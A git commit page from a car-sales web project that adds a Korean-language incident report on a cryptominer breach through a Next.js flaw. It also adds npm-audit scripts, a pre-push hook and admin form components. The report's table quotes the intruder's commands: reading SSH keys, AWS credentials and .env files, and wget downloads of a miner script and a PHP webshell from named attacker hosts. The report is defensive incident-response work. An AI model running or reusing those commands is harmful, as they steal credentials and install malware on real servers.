fix: Remove car_id property from adminAddVehicle call to fix TypeScript error

This commit is contained in:
AutonetSellCar Deploy
2026-02-01 21:16:03 +09:00
parent 5881126408
commit b340d338ff
31 changed files with 7071 additions and 1 deletions

205
SECURITY_INCIDENT_REPORT.md Normal file
View File

@@ -0,0 +1,205 @@
# Server3 보안 사고 조사 보고서
**작성일**: 2026-01-02
**작성자**: Claude Code
**대상 서버**: Server3 (192.168.0.203)
---
## 1. 사고 개요
### 1.1 발견된 공격
Server3에서 암호화폐 채굴 악성코드(XMRig)가 발견됨.
### 1.2 침해 원인
| 항목 | 내용 |
|------|------|
| **취약 소프트웨어** | Next.js 16.0.5 (grantech-frontend) |
| **취약점** | React Flight Protocol RCE |
| **CVE** | GHSA-9qr9-h5gf-34mp |
| **심각도** | Critical |
### 1.3 공격 방식
```
해커가 Next.js App Router로 악성 직렬화 데이터 전송
React Flight Protocol이 데이터 역직렬화 (검증 부족)
서버에서 임의 코드 실행 (RCE)
wget으로 채굴기 다운로드 및 설치
```
---
## 2. 공격 타임라인
| 날짜 | 이벤트 |
|------|--------|
| 2025-12-10 | 최초 공격 시도 (웹쉘 업로드 시도) |
| 2025-12-23 | XMRig 채굴기 설치 |
| 2025-12-31 | 채굴기 재설치 시도 |
| 2026-01-02 | 침해 발견 및 조치 완료 |
---
## 3. 해커가 실행한 명령어
PM2 로그에서 발견된 공격 명령어:
| 공격 유형 | 명령어 | 목적 |
|-----------|--------|------|
| SSH 키 탈취 | `cat ~/.ssh/id_rsa \| base64` | 다른 서버 침투용 |
| AWS 자격증명 탈취 | `cat ~/.aws/credentials \| base64` | 클라우드 리소스 접근 |
| 환경변수 탈취 | `cat .env`, `cat ../.env` 등 | API 키, 비밀키 탈취 |
| 채굴기 설치 | `wget https://72.62.72.248/.../immunify360firewall3.sh` | 암호화폐 채굴 |
| 웹쉘 업로드 | `wget -O public_html/Nx.php https://www.cmer.site/uploads/Nx.php` | 백도어 설치 (실패) |
---
## 4. 발견된 악성 파일
### 4.1 채굴기 파일 (/dev/shm/.cache/)
| 파일명 | 크기 | 설명 |
|--------|------|------|
| xmrig | 8MB | XMRig 채굴기 바이너리 |
| kworker-xfs | 8MB | 커널 프로세스로 위장한 채굴기 |
| config.json | 1KB | 채굴 풀 설정 (moneroocean.stream) |
| miner | 18KB | 채굴기 실행 스크립트 |
### 4.2 추가 악성 파일
| 경로 | 설명 |
|------|------|
| /dev/shm/.x/m | 7MB 채굴기 바이너리 |
| /tmp/immunify360firewall.sh | 채굴기 설치 스크립트 |
| ~/immunify360firewall/ | 채굴기 설치 폴더 (삭제됨) |
---
## 5. 조치 내역
### 5.1 즉시 조치 (2026-01-02)
| 순서 | 조치 | 상태 |
|------|------|------|
| 1 | grantech-frontend PM2 중지 | ✅ 완료 |
| 2 | 채굴기 프로세스 종료 | ✅ 완료 |
| 3 | SSH 백도어 키 삭제 | ✅ 완료 |
| 4 | systemd user 서비스 삭제 | ✅ 완료 |
| 5 | ~/immunify360firewall/ 폴더 삭제 | ✅ 완료 |
### 5.2 취약점 패치
| 조치 | 내용 |
|------|------|
| Next.js 업데이트 | 16.0.5 → **16.1.1** |
| npm audit 결과 | 0 vulnerabilities |
| 애플리케이션 재빌드 | ✅ 완료 |
### 5.3 인증정보 교체
| 항목 | 조치 |
|------|------|
| SSH 키 (Server4) | 재생성 (`damon@autonet``damon@server4`) |
| Server1 authorized_keys | 새 키 등록, 구 키 제거 |
| Server2 authorized_keys | 새 키 등록, 구 키 제거 |
| Server3 authorized_keys | 새 키 등록, 구 키 제거 |
| Backend SECRET_KEY | 재생성 완료 |
### 5.4 잔존 파일 정리 (재점검 시)
| 경로 | 조치 |
|------|------|
| /dev/shm/.cache/ | 전체 삭제 |
| /dev/shm/.x/ | 전체 삭제 |
| /tmp/miner.log | 삭제 |
| /tmp/xmrig.log | 삭제 |
| /tmp/immunify360firewall.sh | 삭제 |
---
## 6. 영향 범위 분석
### 6.1 서버별 영향
| 서버 | IP | 영향 | 비고 |
|------|-----|------|------|
| Server1 | 192.168.0.201 | ✅ 없음 | Next.js 미사용 |
| Server2 | 192.168.0.202 | ✅ 없음 | Next.js 14.1.0 (취약 범위 외) |
| Server3 | 192.168.0.203 | 🔴 침해됨 | Next.js 16.0.5 → 패치 완료 |
| Server4 | 개발서버 | ✅ 없음 | Windows, SSH 키 재생성 |
### 6.2 취약 버전 범위
```
Next.js 14.3.0-canary.77 ~ 16.0.6 (취약)
Next.js 14.1.0 (Server2) - 안전
Next.js 16.1.1+ (Server3 패치 후) - 안전
```
---
## 7. 공격자 인프라
| 도메인/IP | 용도 |
|-----------|------|
| 72.62.72.248 | 채굴기 스크립트 배포 서버 |
| www.cmer.site | 웹쉘 배포 서버 |
| 0x0.st | 파일 공유 (악성코드 호스팅) |
| moneroocean.stream | Monero 채굴 풀 |
---
## 8. 재발 방지 대책
### 8.1 구현 완료
| 대책 | 파일 |
|------|------|
| npm audit 스크립트 | `scripts/security-audit.sh` |
| Git pre-push hook | `scripts/git-hooks/pre-push` |
| 주간 보안 점검 | `scripts/weekly-security-check.sh` |
| package.json audit 명령 | `npm run audit`, `npm run audit:fix` |
### 8.2 권장 사항
1. **패키지 자동 업데이트**
- GitHub 사용 시 Dependabot 활성화
- 또는 Renovate Bot 설정
2. **정기 보안 점검**
```bash
# 주간 cron 설정 (Server2)
0 9 * * 1 /opt/autonet/scripts/weekly-security-check.sh
```
3. **네트워크 보안**
- 외부 노출 포트 최소화
- 방화벽 규칙 강화
4. **모니터링**
- CPU 사용량 이상 알림 설정
- 의심스러운 프로세스 모니터링
---
## 9. 교훈
1. **프레임워크 취약점 주의**: Node.js 자체가 아닌 Next.js 프레임워크의 취약점이 원인
2. **정기 업데이트 필수**: `npm audit`를 정기적으로 실행
3. **다중 서버 점검**: 한 서버 침해 시 연결된 모든 서버 점검 필요
4. **인증정보 교체**: 침해 후 모든 키/비밀번호 교체 필수
---
## 10. 최종 상태
| 항목 | 상태 |
|------|------|
| 채굴기 제거 | ✅ 완료 |
| 취약점 패치 | ✅ 완료 |
| SSH 키 교체 | ✅ 완료 |
| SECRET_KEY 교체 | ✅ 완료 |
| 서비스 정상화 | ✅ 완료 |
| 보안 자동화 | ✅ 설정 완료 |
**결론**: Server3 보안 사고는 완전히 조치되었으며, 재발 방지를 위한 자동화 시스템이 구축되었습니다.

View File

@@ -1119,7 +1119,6 @@ export default function CarsAdminPage() {
const mainImage = car.images?.find((img) => img.is_main)?.url || car.images?.[0]?.url;
await vehicleRequestsApi.adminAddVehicle(parseInt(requestId), {
request_id: parseInt(requestId),
car_id: car.id, // 이미 로컬 DB에 있는 차량이므로 car_id 사용
car_data: {
id: car.id.toString(),
car_name: car.car_name,

File diff suppressed because one or more lines are too long

BIN
images/CarsImage.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 MiB

BIN
images/HandShakeImage.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 MiB

View File

@@ -0,0 +1,24 @@
#!/bin/bash
# Git Pre-Push Hook - Security Audit
# Install: cp scripts/git-hooks/pre-push .git/hooks/ && chmod +x .git/hooks/pre-push
echo "Running security audit before push..."
cd frontend
AUDIT=$(npm audit --json 2>/dev/null || true)
CRITICAL=$(echo "$AUDIT" | grep -o '"critical":[0-9]*' | head -1 | cut -d: -f2)
if [ "${CRITICAL:-0}" -gt 0 ]; then
echo ""
echo "========================================"
echo " PUSH BLOCKED: Critical vulnerabilities found!"
echo "========================================"
npm audit 2>/dev/null | grep -A 3 "critical"
echo ""
echo "Run 'npm audit fix' or update packages manually."
echo "To bypass: git push --no-verify"
exit 1
fi
echo "Security check passed."
exit 0

61
scripts/security-audit.sh Normal file
View File

@@ -0,0 +1,61 @@
#!/bin/bash
# Security Audit Script for AutonetSellCar.com
# Run: ./scripts/security-audit.sh
set -e
echo "=========================================="
echo " Security Audit - $(date '+%Y-%m-%d %H:%M')"
echo "=========================================="
# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
CRITICAL=0
HIGH=0
# Frontend audit
echo -e "\n${YELLOW}[1/2] Frontend (Next.js)${NC}"
cd frontend
AUDIT_RESULT=$(npm audit --json 2>/dev/null || true)
FRONT_CRITICAL=$(echo "$AUDIT_RESULT" | grep -o '"critical":[0-9]*' | head -1 | cut -d: -f2)
FRONT_HIGH=$(echo "$AUDIT_RESULT" | grep -o '"high":[0-9]*' | head -1 | cut -d: -f2)
if [ "${FRONT_CRITICAL:-0}" -gt 0 ] || [ "${FRONT_HIGH:-0}" -gt 0 ]; then
echo -e "${RED}VULNERABILITIES FOUND:${NC}"
npm audit --omit=dev 2>/dev/null | grep -A 5 "Severity:"
CRITICAL=$((CRITICAL + ${FRONT_CRITICAL:-0}))
HIGH=$((HIGH + ${FRONT_HIGH:-0}))
else
echo -e "${GREEN}No critical/high vulnerabilities${NC}"
fi
cd ..
# Backend audit (pip-audit)
echo -e "\n${YELLOW}[2/2] Backend (Python)${NC}"
cd backend
if command -v pip-audit &> /dev/null; then
pip-audit 2>/dev/null || echo "pip-audit check complete"
else
echo "pip-audit not installed. Run: pip install pip-audit"
fi
cd ..
# Summary
echo -e "\n=========================================="
echo " Summary"
echo "=========================================="
if [ "$CRITICAL" -gt 0 ]; then
echo -e "${RED}CRITICAL: $CRITICAL${NC}"
fi
if [ "$HIGH" -gt 0 ]; then
echo -e "${RED}HIGH: $HIGH${NC}"
fi
if [ "$CRITICAL" -eq 0 ] && [ "$HIGH" -eq 0 ]; then
echo -e "${GREEN}All clear - No critical/high vulnerabilities${NC}"
fi
exit $((CRITICAL + HIGH))

View File

@@ -0,0 +1,32 @@
#!/bin/bash
# Weekly Security Check - Run via cron
# Crontab: 0 9 * * 1 /opt/autonet/scripts/weekly-security-check.sh >> /var/log/security-audit.log 2>&1
PROJECTS=(
"/opt/autonet/production/frontend"
"/opt/autonet/staging/frontend"
)
DATE=$(date '+%Y-%m-%d %H:%M')
echo "=========================================="
echo "Weekly Security Audit - $DATE"
echo "=========================================="
for PROJECT in "${PROJECTS[@]}"; do
if [ -d "$PROJECT" ]; then
echo -e "\nChecking: $PROJECT"
cd "$PROJECT"
# Check if npm is available
if command -v npm &> /dev/null; then
npm audit --omit=dev 2>/dev/null | grep -E "(critical|high|Severity)" | head -20
elif [ -f "package-lock.json" ]; then
# Use npx if npm not in PATH
npx --yes npm-audit-ci --critical 2>/dev/null || echo "Audit complete"
fi
fi
done
echo -e "\n=========================================="
echo "Audit complete"
echo "=========================================="

475
temp_ProductForm.tsx Normal file
View File

@@ -0,0 +1,475 @@
"use client";
import { useState } from "react";
import { useRouter } from "next/navigation";
import { ProductAdmin } from "@/lib/api";
import { Loader2, ChevronDown, ChevronUp } from "lucide-react";
interface ProductFormProps {
initialData?: ProductAdmin;
onSubmit: (data: any) => Promise<void>;
isSubmitting: boolean;
}
const iconOptions = [
{ value: "", label: "선택하세요" },
{ value: "Cpu", label: "Cpu (프로세서)" },
{ value: "HardDrive", label: "HardDrive (하드웨어)" },
{ value: "Monitor", label: "Monitor (디스플레이)" },
{ value: "Server", label: "Server (서버)" },
{ value: "Wifi", label: "Wifi (무선)" },
{ value: "Cable", label: "Cable (케이블)" },
{ value: "Cog", label: "Cog (설정)" },
{ value: "Zap", label: "Zap (전원)" },
{ value: "Gauge", label: "Gauge (센서)" },
{ value: "Thermometer", label: "Thermometer (온도)" },
];
const categoryOptions = [
{ value: "", label: "선택하세요" },
{ value: "controller", label: "컨트롤러" },
{ value: "sensor", label: "센서" },
{ value: "display", label: "디스플레이" },
{ value: "communication", label: "통신장비" },
{ value: "power", label: "전원장치" },
{ value: "software", label: "소프트웨어" },
{ value: "accessory", label: "악세서리" },
{ value: "other", label: "기타" },
];
export default function ProductForm({
initialData,
onSubmit,
isSubmitting,
}: ProductFormProps) {
const router = useRouter();
const [showEnglish, setShowEnglish] = useState(!!initialData?.name_en);
const [showJapanese, setShowJapanese] = useState(!!initialData?.name_ja);
const [showChinese, setShowChinese] = useState(!!initialData?.name_zh);
const [formData, setFormData] = useState({
name_ko: initialData?.name_ko || "",
category_ko: initialData?.category_ko || "",
description_ko: initialData?.description_ko || "",
detail_ko: initialData?.detail_ko || "",
name_en: initialData?.name_en || "",
category_en: initialData?.category_en || "",
description_en: initialData?.description_en || "",
detail_en: initialData?.detail_en || "",
name_ja: initialData?.name_ja || "",
category_ja: initialData?.category_ja || "",
description_ja: initialData?.description_ja || "",
detail_ja: initialData?.detail_ja || "",
name_zh: initialData?.name_zh || "",
category_zh: initialData?.category_zh || "",
description_zh: initialData?.description_zh || "",
detail_zh: initialData?.detail_zh || "",
specifications: initialData?.specifications || "",
icon: initialData?.icon || "",
is_active: initialData?.is_active ?? true,
display_order: initialData?.display_order || 0,
});
const handleChange = (
e: React.ChangeEvent<
HTMLInputElement | HTMLTextAreaElement | HTMLSelectElement
>
) => {
const { name, value, type } = e.target;
setFormData({
...formData,
[name]:
type === "checkbox"
? (e.target as HTMLInputElement).checked
: type === "number"
? Number(value)
: value,
});
};
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
await onSubmit(formData);
};
return (
<form onSubmit={handleSubmit} className="space-y-6">
{/* Korean (Required) */}
<div className="bg-white rounded-xl p-6 shadow-sm">
<h3 className="font-semibold text-gray-900 mb-4 flex items-center">
<span className="w-6 h-6 bg-[#3B82F6] text-white text-xs rounded flex items-center justify-center mr-2">
KO
</span>
()
</h3>
<div className="space-y-4">
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
*
</label>
<input
type="text"
name="name_ko"
value={formData.name_ko}
onChange={handleChange}
required
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
placeholder="예: 스마트 컨트롤러 GT-100"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<input
type="text"
name="category_ko"
value={formData.category_ko}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
placeholder="예: 산업용 컨트롤러"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<textarea
name="description_ko"
value={formData.description_ko}
onChange={handleChange}
rows={3}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
placeholder="제품에 대한 간단한 설명..."
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<textarea
name="detail_ko"
value={formData.detail_ko}
onChange={handleChange}
rows={5}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
placeholder="제품에 대한 상세 설명..."
/>
</div>
</div>
</div>
{/* English */}
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
<button
type="button"
onClick={() => setShowEnglish(!showEnglish)}
className="w-full px-6 py-4 flex items-center justify-between hover:bg-gray-50"
>
<span className="font-semibold text-gray-900 flex items-center">
<span className="w-6 h-6 bg-gray-300 text-white text-xs rounded flex items-center justify-center mr-2">
EN
</span>
English ()
</span>
{showEnglish ? (
<ChevronUp className="w-5 h-5 text-gray-400" />
) : (
<ChevronDown className="w-5 h-5 text-gray-400" />
)}
</button>
{showEnglish && (
<div className="px-6 pb-6 space-y-4">
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
Product Name
</label>
<input
type="text"
name="name_en"
value={formData.name_en}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
Category
</label>
<input
type="text"
name="category_en"
value={formData.category_en}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
Description
</label>
<textarea
name="description_en"
value={formData.description_en}
onChange={handleChange}
rows={3}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
Detail
</label>
<textarea
name="detail_en"
value={formData.detail_en}
onChange={handleChange}
rows={5}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
/>
</div>
</div>
)}
</div>
{/* Japanese */}
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
<button
type="button"
onClick={() => setShowJapanese(!showJapanese)}
className="w-full px-6 py-4 flex items-center justify-between hover:bg-gray-50"
>
<span className="font-semibold text-gray-900 flex items-center">
<span className="w-6 h-6 bg-gray-300 text-white text-xs rounded flex items-center justify-center mr-2">
JA
</span>
()
</span>
{showJapanese ? (
<ChevronUp className="w-5 h-5 text-gray-400" />
) : (
<ChevronDown className="w-5 h-5 text-gray-400" />
)}
</button>
{showJapanese && (
<div className="px-6 pb-6 space-y-4">
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<input
type="text"
name="name_ja"
value={formData.name_ja}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<input
type="text"
name="category_ja"
value={formData.category_ja}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<textarea
name="description_ja"
value={formData.description_ja}
onChange={handleChange}
rows={3}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<textarea
name="detail_ja"
value={formData.detail_ja}
onChange={handleChange}
rows={5}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
/>
</div>
</div>
)}
</div>
{/* Chinese */}
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
<button
type="button"
onClick={() => setShowChinese(!showChinese)}
className="w-full px-6 py-4 flex items-center justify-between hover:bg-gray-50"
>
<span className="font-semibold text-gray-900 flex items-center">
<span className="w-6 h-6 bg-gray-300 text-white text-xs rounded flex items-center justify-center mr-2">
ZH
</span>
()
</span>
{showChinese ? (
<ChevronUp className="w-5 h-5 text-gray-400" />
) : (
<ChevronDown className="w-5 h-5 text-gray-400" />
)}
</button>
{showChinese && (
<div className="px-6 pb-6 space-y-4">
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<input
type="text"
name="name_zh"
value={formData.name_zh}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<input
type="text"
name="category_zh"
value={formData.category_zh}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<textarea
name="description_zh"
value={formData.description_zh}
onChange={handleChange}
rows={3}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<textarea
name="detail_zh"
value={formData.detail_zh}
onChange={handleChange}
rows={5}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
/>
</div>
</div>
)}
</div>
{/* Specifications & Common Fields */}
<div className="bg-white rounded-xl p-6 shadow-sm">
<h3 className="font-semibold text-gray-900 mb-4"> </h3>
<div className="space-y-4">
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
(JSON )
</label>
<textarea
name="specifications"
value={formData.specifications}
onChange={handleChange}
rows={6}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none font-mono text-sm"
placeholder='{"전압": "DC 24V", "통신": "RS-485", "크기": "100x80x40mm"}'
/>
<p className="text-xs text-gray-500 mt-1">
JSON . : {`{"항목": "값", "항목2": "값2"}`}
</p>
</div>
</div>
</div>
{/* Display Settings */}
<div className="bg-white rounded-xl p-6 shadow-sm">
<h3 className="font-semibold text-gray-900 mb-4"> </h3>
<div className="grid grid-cols-1 md:grid-cols-2 gap-4">
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<select
name="icon"
value={formData.icon}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
>
{iconOptions.map((icon) => (
<option key={icon.value} value={icon.value}>
{icon.label}
</option>
))}
</select>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<input
type="number"
name="display_order"
value={formData.display_order}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
<p className="text-xs text-gray-500 mt-1">
</p>
</div>
<div className="flex items-center pt-6">
<label className="flex items-center">
<input
type="checkbox"
name="is_active"
checked={formData.is_active}
onChange={handleChange}
className="w-4 h-4 text-[#3B82F6] rounded border-gray-300 focus:ring-[#3B82F6]"
/>
<span className="ml-2 text-sm text-gray-700"> </span>
</label>
</div>
</div>
</div>
{/* Buttons */}
<div className="flex items-center justify-end space-x-4">
<button
type="button"
onClick={() => router.push("/admin/products")}
className="px-6 py-2 text-gray-700 font-medium rounded-lg hover:bg-gray-100 transition-colors"
>
</button>
<button
type="submit"
disabled={isSubmitting}
className="flex items-center px-6 py-2 bg-[#3B82F6] text-white font-medium rounded-lg hover:bg-[#2563EB] transition-colors disabled:opacity-50"
>
{isSubmitting && <Loader2 className="w-4 h-4 animate-spin mr-2" />}
</button>
</div>
</form>
);
}

471
temp_SolutionForm.tsx Normal file
View File

@@ -0,0 +1,471 @@
"use client";
import { useState } from "react";
import { useRouter } from "next/navigation";
import { SolutionAdmin } from "@/lib/api";
import { Loader2, ChevronDown, ChevronUp } from "lucide-react";
interface SolutionFormProps {
initialData?: SolutionAdmin;
onSubmit: (data: any) => Promise<void>;
isSubmitting: boolean;
}
const iconOptions = [
{ value: "", label: "선택하세요" },
{ value: "Monitor", label: "Monitor (모니터링)" },
{ value: "Cog", label: "Cog (설정/제어)" },
{ value: "Database", label: "Database (데이터)" },
{ value: "Cloud", label: "Cloud (클라우드)" },
{ value: "Factory", label: "Factory (공장)" },
{ value: "Cpu", label: "Cpu (프로세싱)" },
{ value: "BarChart3", label: "BarChart3 (차트)" },
{ value: "Wifi", label: "Wifi (IoT)" },
{ value: "Shield", label: "Shield (보안)" },
{ value: "Zap", label: "Zap (자동화)" },
];
const colorOptions = [
{ value: "", label: "선택하세요" },
{ value: "blue", label: "파랑" },
{ value: "green", label: "초록" },
{ value: "purple", label: "보라" },
{ value: "orange", label: "주황" },
{ value: "red", label: "빨강" },
{ value: "cyan", label: "청록" },
{ value: "pink", label: "분홍" },
];
export default function SolutionForm({
initialData,
onSubmit,
isSubmitting,
}: SolutionFormProps) {
const router = useRouter();
const [showEnglish, setShowEnglish] = useState(!!initialData?.title_en);
const [showJapanese, setShowJapanese] = useState(!!initialData?.title_ja);
const [showChinese, setShowChinese] = useState(!!initialData?.title_zh);
const [formData, setFormData] = useState({
title_ko: initialData?.title_ko || "",
subtitle_ko: initialData?.subtitle_ko || "",
description_ko: initialData?.description_ko || "",
features_ko: initialData?.features_ko || "",
title_en: initialData?.title_en || "",
subtitle_en: initialData?.subtitle_en || "",
description_en: initialData?.description_en || "",
features_en: initialData?.features_en || "",
title_ja: initialData?.title_ja || "",
subtitle_ja: initialData?.subtitle_ja || "",
description_ja: initialData?.description_ja || "",
features_ja: initialData?.features_ja || "",
title_zh: initialData?.title_zh || "",
subtitle_zh: initialData?.subtitle_zh || "",
description_zh: initialData?.description_zh || "",
features_zh: initialData?.features_zh || "",
icon: initialData?.icon || "",
color: initialData?.color || "",
is_active: initialData?.is_active ?? true,
display_order: initialData?.display_order || 0,
});
const handleChange = (
e: React.ChangeEvent<
HTMLInputElement | HTMLTextAreaElement | HTMLSelectElement
>
) => {
const { name, value, type } = e.target;
setFormData({
...formData,
[name]:
type === "checkbox"
? (e.target as HTMLInputElement).checked
: type === "number"
? Number(value)
: value,
});
};
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
await onSubmit(formData);
};
return (
<form onSubmit={handleSubmit} className="space-y-6">
{/* Korean (Required) */}
<div className="bg-white rounded-xl p-6 shadow-sm">
<h3 className="font-semibold text-gray-900 mb-4 flex items-center">
<span className="w-6 h-6 bg-[#3B82F6] text-white text-xs rounded flex items-center justify-center mr-2">
KO
</span>
()
</h3>
<div className="space-y-4">
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
*
</label>
<input
type="text"
name="title_ko"
value={formData.title_ko}
onChange={handleChange}
required
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
placeholder="예: 스마트 모니터링 시스템"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<input
type="text"
name="subtitle_ko"
value={formData.subtitle_ko}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
placeholder="예: 실시간 데이터 수집 및 분석"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<textarea
name="description_ko"
value={formData.description_ko}
onChange={handleChange}
rows={4}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
placeholder="솔루션에 대한 상세 설명..."
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
( )
</label>
<textarea
name="features_ko"
value={formData.features_ko}
onChange={handleChange}
rows={3}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
placeholder="예: 실시간 모니터링, 데이터 분석, 알림 기능"
/>
<p className="text-xs text-gray-500 mt-1">
(,)
</p>
</div>
</div>
</div>
{/* English */}
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
<button
type="button"
onClick={() => setShowEnglish(!showEnglish)}
className="w-full px-6 py-4 flex items-center justify-between hover:bg-gray-50"
>
<span className="font-semibold text-gray-900 flex items-center">
<span className="w-6 h-6 bg-gray-300 text-white text-xs rounded flex items-center justify-center mr-2">
EN
</span>
English ()
</span>
{showEnglish ? (
<ChevronUp className="w-5 h-5 text-gray-400" />
) : (
<ChevronDown className="w-5 h-5 text-gray-400" />
)}
</button>
{showEnglish && (
<div className="px-6 pb-6 space-y-4">
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
Solution Title
</label>
<input
type="text"
name="title_en"
value={formData.title_en}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
Subtitle
</label>
<input
type="text"
name="subtitle_en"
value={formData.subtitle_en}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
Description
</label>
<textarea
name="description_en"
value={formData.description_en}
onChange={handleChange}
rows={4}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
Features (comma separated)
</label>
<textarea
name="features_en"
value={formData.features_en}
onChange={handleChange}
rows={3}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
/>
</div>
</div>
)}
</div>
{/* Japanese */}
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
<button
type="button"
onClick={() => setShowJapanese(!showJapanese)}
className="w-full px-6 py-4 flex items-center justify-between hover:bg-gray-50"
>
<span className="font-semibold text-gray-900 flex items-center">
<span className="w-6 h-6 bg-gray-300 text-white text-xs rounded flex items-center justify-center mr-2">
JA
</span>
()
</span>
{showJapanese ? (
<ChevronUp className="w-5 h-5 text-gray-400" />
) : (
<ChevronDown className="w-5 h-5 text-gray-400" />
)}
</button>
{showJapanese && (
<div className="px-6 pb-6 space-y-4">
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<input
type="text"
name="title_ja"
value={formData.title_ja}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<input
type="text"
name="subtitle_ja"
value={formData.subtitle_ja}
onChange={handleChange}
